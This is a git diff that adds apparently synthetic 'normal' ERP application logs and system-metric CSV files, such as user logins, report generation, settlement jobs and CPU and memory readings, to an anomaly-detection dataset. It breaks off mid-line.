User 'eve' accessed module 'Financial Statements'. +Jul 15 10:02:30 erp-app[3151]: INFO User 'alice' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:02:30 erp-app[3601]: INFO User 'charlie' accessed module 'Financial Statements'. +Jul 15 10:02:35 erp-app[3597]: INFO User 'david' logged in successfully. +Jul 15 10:02:35 erp-app[3243]: INFO User 'alice' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:02:35 erp-app[2141]: WARN Login attempt failed for user 'bob'. +Jul 15 10:02:40 erp-app[4719]: INFO User 'eve' initiated a new settlement process ID: 1947. +Jul 15 10:02:40 erp-app[4482]: INFO User 'eve' approved expense report #8843. +Jul 15 10:02:45 erp-app[2683]: INFO User 'david' accessed module 'Financial Statements'. +Jul 15 10:02:45 erp-app[3070]: INFO User 'frank' logged out. +Jul 15 10:02:50 erp-app[4040]: INFO User 'david' logged out. +Jul 15 10:02:55 erp-app[4876]: INFO User 'david' logged out. +Jul 15 10:03:00 erp-app[4533]: INFO User 'alice' submitted a new invoice batch for approval. +Jul 15 10:03:00 erp-app[2636]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:03:05 erp-app[1566]: INFO User 'frank' initiated a new settlement process ID: 1824. +Jul 15 10:03:05 erp-app[4507]: INFO User 'eve' accessed module 'Financial Statements'. +Jul 15 10:03:05 erp-app[1536]: INFO User 'eve' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:03:10 erp-app[4600]: WARN Login attempt failed for user 'bob'. +Jul 15 10:03:10 erp-app[1024]: INFO User 'charlie' logged out. +Jul 15 10:03:15 erp-app[2002]: WARN Login attempt failed for user 'eve'. +Jul 15 10:03:20 erp-app[1147]: INFO User 'alice' approved expense report #8083. +Jul 15 10:03:20 erp-app[1326]: WARN Login attempt failed for user 'frank'. +Jul 15 10:03:25 erp-app[3717]: INFO User 'charlie' updated account balance for AccountID 417. +Jul 15 10:03:25 erp-app[3065]: INFO User 'eve' logged in successfully. +Jul 15 10:03:30 erp-app[2701]: INFO User 'bob' generated report 'Monthly_Expense'. +Jul 15 10:03:30 erp-app[4714]: INFO User 'david' accessed module 'Financial Statements'. +Jul 15 10:03:30 erp-app[3134]: INFO User 'bob' submitted a new invoice batch for approval. +Jul 15 10:03:35 erp-app[3007]: INFO User 'eve' updated account balance for AccountID 858. +Jul 15 10:03:35 erp-app[4300]: INFO User 'charlie' updated account balance for AccountID 860. +Jul 15 10:03:35 erp-app[3143]: INFO User 'charlie' accessed module 'Financial Statements'. +Jul 15 10:03:35 erp-app[1451]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:03:40 erp-app[1774]: WARN Login attempt failed for user 'eve'. +Jul 15 10:03:40 erp-app[3747]: INFO User 'eve' logged in successfully. +Jul 15 10:03:40 erp-app[4070]: INFO User 'bob' generated report 'Q2_Revenue'. +Jul 15 10:03:45 erp-app[1904]: INFO User 'david' updated account balance for AccountID 355. +Jul 15 10:03:50 erp-app[3761]: INFO User 'david' accessed module 'Financial Statements'. +Jul 15 10:03:55 erp-app[4186]: INFO User 'frank' logged out. +Jul 15 10:04:00 erp-app[2301]: INFO User 'bob' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:04:05 erp-app[1804]: INFO User 'bob' initiated a new settlement process ID: 1028. +Jul 15 10:04:05 erp-app[1040]: INFO User 'frank' logged out. +Jul 15 10:04:10 erp-app[4700]: INFO User 'eve' logged in successfully. +Jul 15 10:04:15 erp-app[1609]: INFO User 'charlie' approved expense report #8645. +Jul 15 10:04:20 erp-app[3681]: INFO User 'bob' updated account balance for AccountID 575. +Jul 15 10:04:20 erp-app[4363]: INFO User 'david' generated report 'Monthly_Expense'. +Jul 15 10:04:20 erp-app[4583]: INFO User 'bob' accessed module 'Financial Statements'. +Jul 15 10:04:25 erp-app[1757]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:04:25 erp-app[4219]: WARN Login attempt failed for user 'eve'. +Jul 15 10:04:25 erp-app[3026]: INFO User 'charlie' accessed module 'Financial Statements'. +Jul 15 10:04:30 erp-app[1060]: INFO User 'alice' approved expense report #8016. +Jul 15 10:04:30 erp-app[2252]: INFO User 'bob' logged out. +Jul 15 10:04:30 erp-app[4115]: INFO User 'frank' accessed module 'Financial Statements'. +Jul 15 10:04:35 erp-app[2341]: INFO User 'bob' logged in successfully. +Jul 15 10:04:35 erp-app[2508]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:04:35 erp-app[4726]: WARN Login attempt failed for user 'frank'. +Jul 15 10:04:35 erp-app[1777]: INFO User 'bob' logged out. +Jul 15 10:04:40 erp-app[1334]: INFO User 'bob' logged in successfully. +Jul 15 10:04:45 erp-app[2500]: INFO User 'charlie' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:04:45 erp-app[4561]: INFO User 'frank' generated report 'Cash_Flow'. +Jul 15 10:04:50 erp-app[3852]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:04:50 erp-app[4959]: INFO User 'bob' logged out. +Jul 15 10:04:55 erp-app[2449]: WARN Login attempt failed for user 'alice'. +Jul 15 10:05:00 erp-app[2804]: INFO User 'charlie' generated report 'Monthly_Expense'. +Jul 15 10:05:00 erp-app[3032]: INFO User 'charlie' generated report 'Balance_Sheet_July'. +Jul 15 10:05:05 erp-app[3424]: INFO User 'david' approved expense report #8439. +Jul 15 10:05:10 erp-app[4500]: INFO User 'david' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:05:10 erp-app[1431]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:05:15 erp-app[3041]: INFO User 'alice' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:05:20 erp-app[4224]: WARN Login attempt failed for user 'frank'. +Jul 15 10:05:20 erp-app[4646]: INFO User 'david' updated account balance for AccountID 759. +Jul 15 10:05:25 erp-app[3306]: INFO User 'charlie' submitted a new invoice batch for approval. +Jul 15 10:05:25 erp-app[3736]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:05:25 erp-app[4561]: INFO User 'charlie' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:05:25 erp-app[1159]: INFO User 'bob' accessed module 'Financial Statements'. +Jul 15 10:05:30 erp-app[2640]: INFO User 'alice' viewed the audit trail for period 'Q2 2025'. +Jul 15 10:05:30 erp-app[1920]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:05:30 erp-app[4332]: INFO User 'david' generated report 'Monthly_Expense'. +Jul 15 10:05:35 erp-app[4387]: WARN Login attempt failed for user 'charlie'. +Jul 15 10:05:35 erp-app[1317]: INFO User 'eve' approved expense report #8039. +Jul 15 10:05:40 erp-app[2996]: INFO User 'charlie' submitted a new invoice batch for approval. +Jul 15 10:05:45 erp-app[4642]: WARN Login attempt failed for user 'charlie'. +Jul 15 10:05:50 erp-app[4738]: INFO User 'eve' logged out. +Jul 15 10:05:55 erp-app[3582]: INFO User 'eve' updated account balance for AccountID 860. +Jul 15 10:05:55 erp-app[4998]: INFO User 'bob' submitted a new invoice batch for approval. +Jul 15 10:06:00 erp-app[2247]: INFO User 'frank' generated report 'Q2_Revenue'. +Jul 15 10:06:05 erp-app[1699]: INFO User 'alice' logged out. +Jul 15 10:06:10 erp-app[2247]: INFO User 'frank' accessed module 'Financial Statements'. +Jul 15 10:06:15 erp-app[2265]: INFO User 'eve' approved expense report #8915. +Jul 15 10:06:15 erp-app[1885]: INFO User 'charlie' initiated a new settlement process ID: 1016. +Jul 15 10:06:20 erp-app[1715]: INFO User 'bob' logged out. +Jul 15 10:06:20 erp-app[1028]: INFO User 'charlie' initiated a new settlement process ID: 1947. +Jul 15 10:06:20 erp-app[3006]: INFO User 'alice' logged out. +Jul 15 10:06:25 erp-app[1886]: INFO User 'alice' initiated a new settlement process ID: 1396. +Jul 15 10:06:25 erp-app[4530]: INFO User 'david' logged out. +Jul 15 10:06:30 erp-app[1083]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:06:30 erp-app[1569]: WARN Login attempt failed for user 'charlie'. +Jul 15 10:06:30 erp-app[4595]: WARN Login attempt failed for user 'bob'. +Jul 15 10:06:30 erp-app[1984]: INFO User 'david' generated report 'Cash_Flow'. +Jul 15 10:06:35 erp-app[2963]: INFO User 'frank' logged out. +Jul 15 10:06:35 erp-app[4224]: INFO User 'david' approved expense report #8915. +Jul 15 10:06:35 erp-app[2701]: INFO User 'alice' updated account balance for AccountID 839. +Jul 15 10:06:40 erp-app[1394]: WARN Login attempt failed for user 'frank'. +Jul 15 10:06:45 erp-app[4566]: INFO User 'eve' logged in successfully. +Jul 15 10:06:45 erp-app[2415]: WARN Login attempt failed for user 'charlie'. +Jul 15 10:06:45 erp-app[3936]: INFO User 'frank' logged out. +Jul 15 10:06:50 erp-app[2951]: WARN Login attempt failed for user 'frank'. +Jul 15 10:06:55 erp-app[4737]: INFO User 'bob' logged in successfully. +Jul 15 10:06:55 erp-app[1142]: WARN Login attempt failed for user 'bob'. +Jul 15 10:06:55 erp-app[1316]: INFO User 'bob' generated report 'Balance_Sheet_July'. +Jul 15 10:07:00 erp-app[1552]: WARN Login attempt failed for user 'alice'. +Jul 15 10:07:00 erp-app[2107]: INFO User 'david' generated report 'Cash_Flow'. +Jul 15 10:07:05 erp-app[1021]: INFO User 'charlie' logged out. +Jul 15 10:07:10 erp-app[4595]: INFO User 'alice' accessed module 'Financial Statements'. +Jul 15 10:07:15 erp-app[2927]: INFO User 'bob' accessed module 'Financial Statements'. +Jul 15 10:07:20 erp-app[1548]: INFO User 'david' accessed module 'Financial Statements'. +Jul 15 10:07:20 erp-app[1034]: INFO System job 'DataBackup' completed successfully. +Jul 15 10:07:20 erp-app[1158]: WARN Login attempt failed for user 'alice'. +Jul 15 10:07:25 erp-app[3199]: INFO User 'david' approved expense report #8381. +Jul 15 10:07:25 erp-app[4188]: INFO User 'alice' generated report 'Balance_Sheet_July'. +Jul 15 10:07:25 erp-app[1754]: INFO User 'david' generated report 'Monthly_Expense'. +Jul 15 10:07:25 erp-app[1529]: INFO User 'bob' accessed module 'Financial Statements'. diff --git a/norm_dataset/scenario_9/norm_9_19.csv b/norm_dataset/scenario_9/norm_9_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..c21372943faf108bca610efca3e07b9abed2b9d9 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.24,40.29,33.13,1.29,1.0 +2025-07-15T10:00:05Z,14.65,42.91,25.71,0.71,1.21 +2025-07-15T10:00:10Z,16.62,37.89,24.65,1.23,0.88 +2025-07-15T10:00:15Z,18.81,39.02,32.41,1.0,0.98 +2025-07-15T10:00:20Z,14.41,38.82,28.88,0.8,1.04 +2025-07-15T10:00:25Z,14.41,35.61,33.57,1.09,0.82 +2025-07-15T10:00:30Z,18.95,40.89,32.37,1.04,0.94 +2025-07-15T10:00:35Z,16.92,40.78,29.64,0.88,0.9 +2025-07-15T10:00:40Z,13.83,40.02,25.77,1.01,0.92 +2025-07-15T10:00:45Z,16.36,39.3,22.43,0.92,0.75 +2025-07-15T10:00:50Z,13.84,35.75,27.77,1.02,0.9 +2025-07-15T10:00:55Z,13.84,38.74,34.28,1.13,1.0 +2025-07-15T10:01:00Z,15.6,38.97,31.07,1.32,1.19 +2025-07-15T10:01:05Z,10.22,37.59,23.77,0.75,1.09 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/dev/null +++ b/norm_dataset/scenario_9/norm_9_19.log @@ -0,0 +1,43 @@ +Jul 15 10:00:07 CRON[6789]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:00:14 erp-app[2234]: GET /api/v1/customers/592 status=200 OK +Jul 15 10:00:20 erp-app[2234]: INFO User 105 viewed dashboard +Jul 15 10:00:27 erp-app[2234]: INFO User 120 viewed dashboard +Jul 15 10:00:41 erp-app[2234]: INFO User 120 viewed dashboard +Jul 15 10:00:46 erp-app[2234]: INFO User 101 viewed dashboard +Jul 15 10:00:52 erp-app[2234]: INFO User 105 logged in successfully from IP 192.168.1.10 +Jul 15 10:01:05 erp-app[2234]: GET /api/v1/invoices/INV-16190 status=200 OK +Jul 15 10:01:18 erp-app[2234]: GET /api/v1/inventory/items status=200 OK +Jul 15 10:01:30 erp-app[2234]: GET /api/v1/inventory/items status=200 OK +Jul 15 10:01:35 erp-app[2234]: GET /api/v1/invoices/INV-11276 status=200 OK +Jul 15 10:01:43 systemd[1]: Starting daily user session clean up... +Jul 15 10:01:55 erp-app[2234]: GET /api/v1/inventory/items status=200 OK +Jul 15 10:02:09 erp-app[2234]: POST /api/v1/invoices/new status=201 Created +Jul 15 10:02:20 erp-app[2234]: GET /api/v1/inventory/items status=200 OK +Jul 15 10:02:32 erp-app[2234]: GET /api/v1/invoices/INV-10364 status=200 OK +Jul 15 10:02:46 erp-app[2234]: GET /api/v1/inventory/items status=200 OK +Jul 15 10:02:58 erp-app[2234]: GET /api/v1/customers/506 status=200 OK +Jul 15 10:03:05 systemd[1]: Starting daily user session clean up... +Jul 15 10:03:16 erp-app[2234]: GET /api/v1/inventory/items status=200 OK +Jul 15 10:03:22 erp-app[2234]: GET /api/v1/invoices/INV-16949 status=200 OK +Jul 15 10:03:29 erp-app[2234]: GET /api/v1/customers/514 status=200 OK +Jul 15 10:03:42 systemd[1]: Starting daily user session clean up... +Jul 15 10:03:51 erp-app[2234]: POST /api/v1/invoices/new status=201 Created +Jul 15 10:04:05 systemd[1]: Starting daily user session clean up... +Jul 15 10:04:18 erp-app[2234]: INFO User 105 logged in successfully from IP 10.0.5.23 +Jul 15 10:04:31 erp-app[2234]: INFO User 120 logged in successfully from IP 192.168.1.10 +Jul 15 10:04:39 erp-app[2234]: GET /api/v1/invoices/INV-18258 status=200 OK +Jul 15 10:04:52 erp-app[2234]: INFO User 105 viewed dashboard +Jul 15 10:05:00 systemd[1]: Starting daily user session clean up... +Jul 15 10:05:10 erp-app[2234]: GET /api/v1/invoices/INV-17943 status=200 OK +Jul 15 10:05:22 erp-app[2234]: INFO User 115 logged in successfully from IP 172.16.3.44 +Jul 15 10:05:36 erp-app[2234]: INFO User 120 logged in successfully from IP 10.0.5.23 +Jul 15 10:05:44 erp-app[2234]: GET /api/v1/invoices/INV-11761 status=200 OK +Jul 15 10:05:56 erp-app[2234]: GET /api/v1/customers/569 status=200 OK +Jul 15 10:06:05 erp-app[2234]: INFO User 101 logged in successfully from IP 192.168.1.10 +Jul 15 10:06:15 erp-app[2234]: INFO User 115 viewed dashboard +Jul 15 10:06:27 systemd[1]: Starting daily user session clean up... +Jul 15 10:06:40 systemd[1]: Starting daily user session clean up... +Jul 15 10:06:47 erp-app[2234]: GET /api/v1/customers/530 status=200 OK +Jul 15 10:06:59 erp-app[2234]: INFO User 115 viewed dashboard +Jul 15 10:07:09 erp-app[2234]: GET /api/v1/invoices/INV-18659 status=200 OK +Jul 15 10:07:17 systemd[1]: Starting daily user session clean up... diff --git a/norm_dataset/scenario_9/norm_9_2.csv b/norm_dataset/scenario_9/norm_9_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..386a8d5b724b645ec6fc568b6ea6f33bbe681f10 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-31T14:00:00Z,43.59,44.53,28.35,0.55,0.89 +2025-07-31T14:00:05Z,47.07,52.63,23.53,1.27,1.41 +2025-07-31T14:00:10Z,47.06,53.74,29.93,1.07,1.23 +2025-07-31T14:00:15Z,42.91,49.89,37.41,1.14,1.32 +2025-07-31T14:00:20Z,48.12,51.4,31.9,2.63,0.4 +2025-07-31T14:00:25Z,49.74,54.58,36.17,1.08,1.57 +2025-07-31T14:00:30Z,46.39,52.28,28.82,1.93,0.51 +2025-07-31T14:00:35Z,43.14,43.2,39.19,1.5,0.97 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+2025-07-31T14:04:00Z,67.45,76.34,55.14,1.44,1.81 +2025-07-31T14:04:05Z,64.94,74.8,45.8,1.48,1.02 +2025-07-31T14:04:10Z,62.84,63.52,37.85,1.81,0.99 +2025-07-31T14:04:15Z,66.95,76.55,53.99,1.6,1.11 +2025-07-31T14:04:20Z,61.09,78.73,50.41,1.25,1.77 +2025-07-31T14:04:25Z,66.92,73.53,49.47,0.98,1.18 +2025-07-31T14:04:30Z,60.88,65.04,51.24,1.61,0.57 +2025-07-31T14:04:35Z,70.47,74.6,62.51,1.75,0.85 +2025-07-31T14:04:40Z,73.55,71.54,50.57,1.38,1.15 +2025-07-31T14:04:45Z,72.48,74.46,57.95,1.42,1.73 +2025-07-31T14:04:50Z,70.54,77.5,55.8,1.91,1.67 +2025-07-31T14:04:55Z,65.16,79.67,55.81,2.15,1.14 +2025-07-31T14:05:00Z,64.16,66.46,49.92,1.63,1.32 +2025-07-31T14:05:05Z,77.55,77.16,57.01,1.6,0.97 +2025-07-31T14:05:10Z,72.88,80.93,56.55,0.95,1.51 +2025-07-31T14:05:15Z,76.07,79.98,57.01,0.87,1.54 +2025-07-31T14:05:20Z,74.1,84.05,53.3,2.0,1.0 +2025-07-31T14:05:25Z,74.25,86.73,62.0,0.87,1.06 +2025-07-31T14:05:30Z,72.53,75.21,66.53,1.1,0.62 +2025-07-31T14:05:35Z,71.88,81.48,65.31,2.03,1.3 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+2025-07-31T14:07:20Z,84.88,92.04,72.41,1.5,0.57 +2025-07-31T14:07:25Z,84.08,86.02,71.29,1.41,1.03 diff --git a/norm_dataset/scenario_9/norm_9_2.log b/norm_dataset/scenario_9/norm_9_2.log new file mode 100644 index 0000000000000000000000000000000000000000..2f32b789b1852e0afc8e882b73849b4fdfff1fba --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_2.log @@ -0,0 +1,138 @@ +Jul 31 22:00:04 erp-app[5529]: INFO User 41 logged in successfully from ip=10.1.179.244 +Jul 31 22:00:08 erp-app[9408]: INFO User 18 logged in successfully from ip=10.1.174.182 +Jul 31 22:00:11 erp-app[1463]: User 16 GET /api/v1/invoices/list?page=9 status=200 OK +Jul 31 22:00:17 erp-app[1816]: User 27 GET /api/v1/invoices/list?page=14 status=200 OK +Jul 31 22:00:22 erp-app[3186]: INFO User 36 logged in successfully from ip=10.1.238.52 +Jul 31 22:00:28 erp-app[5867]: User 48 GET /api/v1/status status=200 OK +Jul 31 22:00:32 erp-app[7188]: INFO User 29 logged in successfully from ip=10.1.22.28 +Jul 31 22:00:39 erp-app[7776]: User 28 GET /api/v1/invoices/list?page=14 status=200 OK +Jul 31 22:00:40 erp-app[6650]: INFO User 20 logged in successfully from ip=10.1.230.63 +Jul 31 22:00:45 erp-app[3503]: INFO User 39 logged in successfully from ip=10.1.55.54 +Jul 31 22:00:52 systemd[1]: Starting daily clean up activities... +Jul 31 22:00:56 erp-app[4593]: INFO User 35 logged in successfully from ip=10.1.29.197 +Jul 31 22:01:02 systemd[1]: Starting daily clean up activities... +Jul 31 22:01:08 erp-app[9841]: INFO User 44 logged in successfully from ip=10.1.48.232 +Jul 31 22:01:12 systemd[1]: Starting daily clean up activities... +Jul 31 22:01:16 erp-app[6340]: User 13 GET /api/v1/status status=200 OK +Jul 31 22:01:21 erp-app[9553]: INFO User 36 logged in successfully from ip=10.1.185.24 +Jul 31 22:01:29 systemd[1]: Starting daily clean up activities... +Jul 31 22:01:33 erp-app[9463]: INFO Generating preview for '月度资产负债表'. User: 14 +Jul 31 22:01:39 erp-app[5863]: INFO Generating preview for '月度资产负债表'. User: 41 +Jul 31 22:01:43 erp-app[6633]: User 17 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:01:48 erp-app[6134]: User 23 PUT /api/v1/ledgers/entry/19247 status=200 OK '更新账目' +Jul 31 22:01:53 erp-app[6648]: User 26 GET /api/v1/status status=200 OK +Jul 31 22:01:56 erp-app[6594]: User 15 GET /api/v1/invoices/list?page=3 status=200 OK +Jul 31 22:02:02 systemd[1]: Starting daily clean up activities... +Jul 31 22:02:06 erp-app[8368]: INFO Generating preview for '月度资产负债表'. User: 8 +Jul 31 22:02:14 erp-app[9342]: User 35 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:02:16 erp-app[5754]: INFO User 26 logged in successfully from ip=10.1.35.137 +Jul 31 22:02:20 systemd[1]: Starting daily clean up activities... +Jul 31 22:02:29 erp-app[4691]: INFO User 41 logged in successfully from ip=10.1.210.107 +Jul 31 22:02:34 erp-app[4506]: INFO User 42 logged in successfully from ip=10.1.72.210 +Jul 31 22:02:37 erp-app[2326]: INFO User 13 logged in successfully from ip=10.1.87.8 +Jul 31 22:02:41 erp-app[9200]: User 13 PUT /api/v1/ledgers/entry/14741 status=200 OK '更新账目' +Jul 31 22:02:48 erp-app[1331]: User 46 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:02:54 systemd[1]: Starting daily clean up activities... +Jul 31 22:02:55 systemd[1]: Starting daily clean up activities... +Jul 31 22:03:00 erp-app[2355]: User 18 PUT /api/v1/ledgers/entry/15848 status=200 OK '更新账目' +Jul 31 22:03:08 erp-app[4092]: User 32 PUT /api/v1/ledgers/entry/19313 status=200 OK '更新账目' +Jul 31 22:03:10 erp-app[6002]: User 35 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:03:17 systemd[1]: Starting daily clean up activities... +Jul 31 22:03:22 erp-app[1435]: User 23 GET /api/v1/status status=200 OK +Jul 31 22:03:29 erp-app[3789]: User 13 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:03:32 erp-app[5594]: User 20 GET /api/v1/invoices/list?page=18 status=200 OK +Jul 31 22:03:38 erp-app[5837]: User 40 PUT /api/v1/ledgers/entry/13263 status=200 OK '更新账目' +Jul 31 22:03:40 erp-app[4359]: User 25 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:03:47 erp-app[4550]: User 8 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:03:50 erp-app[7923]: User 19 GET /api/v1/status status=200 OK +Jul 31 22:03:50 erp-app[8751]: User 50 GET /api/v1/invoices/list?page=11 status=200 OK +Jul 31 22:03:56 erp-app[6330]: User 26 GET /api/v1/invoices/list?page=11 status=200 OK +Jul 31 22:04:03 erp-app[3142]: User 38 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:04:09 erp-app[2858]: User 46 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:04:06 erp-app[1261]: User 11 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:04:14 erp-app[7698]: User 34 GET /api/v1/invoices/list?page=8 status=200 OK +Jul 31 22:04:15 erp-app[9976]: INFO Generating preview for '月度资产负债表'. User: 14 +Jul 31 22:04:18 erp-app[4687]: INFO Generating preview for '月度资产负债表'. User: 33 +Jul 31 22:04:17 erp-app[9845]: User 36 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:04:22 erp-app[7185]: User 33 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:04:29 erp-app[9530]: User 27 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:04:25 erp-app[7629]: INFO Generating preview for '月度资产负债表'. User: 37 +Jul 31 22:04:26 erp-app[3813]: INFO Generating preview for '月度资产负债表'. User: 11 +Jul 31 22:04:34 erp-app[8515]: User 47 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:04:31 erp-app[5252]: User 23 PUT /api/v1/ledgers/entry/18154 status=200 OK '更新账目' +Jul 31 22:04:33 erp-app[9478]: User 30 PUT /api/v1/ledgers/entry/18387 status=200 OK '更新账目' +Jul 31 22:04:35 erp-app[2843]: User 22 POST /api/v1/approvals/submit_batch body={'count': 47} status=200 OK '批量提交审批' +Jul 31 22:04:39 erp-app[7049]: User 1 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:04:37 erp-app[4501]: WARN High DB query latency on 'financial_records' table during report generation. Latency: 198ms +Jul 31 22:04:43 erp-app[2803]: INFO Generating preview for '月度资产负债表'. User: 16 +Jul 31 22:04:45 erp-app[1640]: User 3 POST /api/v1/approvals/submit_batch body={'count': 47} status=200 OK '批量提交审批' +Jul 31 22:04:46 erp-app[9527]: WARN High DB query latency on 'financial_records' table during report generation. Latency: 463ms +Jul 31 22:04:50 erp-app[1668]: User 12 PUT /api/v1/ledgers/entry/11603 status=200 OK '更新账目' +Jul 31 22:04:51 erp-app[2951]: INFO Generating preview for '月度资产负债表'. User: 15 +Jul 31 22:04:50 erp-app[7394]: User 3 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:04:57 erp-app[3353]: User 36 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:04:57 erp-app[9182]: INFO Generating preview for '月度资产负债表'. User: 24 +Jul 31 22:05:01 erp-app[2840]: User 5 POST /api/v1/approvals/submit_batch body={'count': 35} status=200 OK '批量提交审批' +Jul 31 22:05:04 erp-app[2952]: User 50 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:05:05 erp-app[4712]: User 26 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:05:09 erp-app[2882]: INFO Generating preview for '月度资产负债表'. User: 38 +Jul 31 22:05:07 erp-app[8438]: User 42 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:05:14 erp-app[9595]: User 12 PUT /api/v1/ledgers/entry/11140 status=200 OK '更新账目' +Jul 31 22:05:13 erp-app[7843]: INFO Generating preview for '月度资产负债表'. User: 46 +Jul 31 22:05:15 erp-app[1647]: INFO Starting background job 'EndOfMonthSettlement' for tenant tenant_1. '开始执行月底结算任务' +Jul 31 22:05:24 erp-app[4932]: INFO Generating preview for '月度资产负债表'. User: 43 +Jul 31 22:05:26 erp-app[9165]: User 43 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:05:27 erp-app[5473]: User 47 POST /api/v1/approvals/submit_batch body={'count': 34} status=200 OK '批量提交审批' +Jul 31 22:05:31 erp-app[7071]: User 50 POST /api/v1/approvals/submit_batch body={'count': 41} status=200 OK '批量提交审批' +Jul 31 22:05:31 erp-app[8795]: User 14 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:05:34 erp-app[9530]: User 37 POST /api/v1/settlement/run status=202 Accepted '触发财务结算流程' +Jul 31 22:05:36 erp-app[6284]: User 18 PUT /api/v1/ledgers/entry/14303 status=200 OK '更新账目' +Jul 31 22:05:38 erp-app[6627]: User 2 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:05:43 erp-app[2646]: User 12 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:05:42 erp-app[3898]: User 50 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:05:42 erp-app[3191]: User 14 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:05:48 erp-app[9341]: User 48 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:05:47 erp-app[7054]: User 38 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:05:47 erp-app[5379]: User 4 POST /api/v1/approvals/submit_batch body={'count': 27} status=200 OK '批量提交审批' +Jul 31 22:05:50 erp-app[9985]: User 43 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:05:52 erp-app[9715]: User 32 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:05:50 erp-app[9913]: User 17 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:05:58 erp-app[6864]: INFO Starting background job 'EndOfMonthSettlement' for tenant tenant_5. '开始执行月底结算任务' +Jul 31 22:05:58 erp-app[1882]: INFO Starting background job 'EndOfMonthSettlement' for tenant tenant_4. '开始执行月底结算任务' +Jul 31 22:06:03 erp-app[4960]: INFO Starting background job 'EndOfMonthSettlement' for tenant tenant_1. '开始执行月底结算任务' +Jul 31 22:06:03 erp-app[7279]: INFO Starting background job 'EndOfMonthSettlement' for tenant tenant_4. '开始执行月底结算任务' +Jul 31 22:06:01 erp-app[5665]: User 37 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:06:05 erp-app[3179]: User 24 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:06:05 erp-app[5299]: User 41 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:06:09 erp-app[2723]: User 30 POST /api/v1/approvals/submit_batch body={'count': 8} status=200 OK '批量提交审批' +Jul 31 22:06:10 erp-app[3525]: User 41 POST /api/v1/settlement/run status=202 Accepted '触发财务结算流程' +Jul 31 22:06:18 erp-app[2090]: User 5 POST /api/v1/settlement/run status=202 Accepted '触发财务结算流程' +Jul 31 22:06:16 erp-app[8749]: INFO Starting background job 'EndOfMonthSettlement' for tenant tenant_4. '开始执行月底结算任务' +Jul 31 22:06:17 erp-app[4097]: User 27 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:06:20 erp-app[5637]: User 10 POST /api/v1/approvals/submit_batch body={'count': 6} status=200 OK '批量提交审批' +Jul 31 22:06:23 erp-app[5294]: INFO Starting background job 'EndOfMonthSettlement' for tenant tenant_3. '开始执行月底结算任务' +Jul 31 22:06:27 erp-app[7441]: User 33 POST /api/v1/settlement/run status=202 Accepted '触发财务结算流程' +Jul 31 22:06:27 erp-app[8597]: WARN High DB query latency on 'financial_records' table during report generation. Latency: 336ms +Jul 31 22:06:34 erp-app[3350]: INFO Generating preview for '月度资产负债表'. User: 30 +Jul 31 22:06:33 erp-app[7250]: User 2 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:06:36 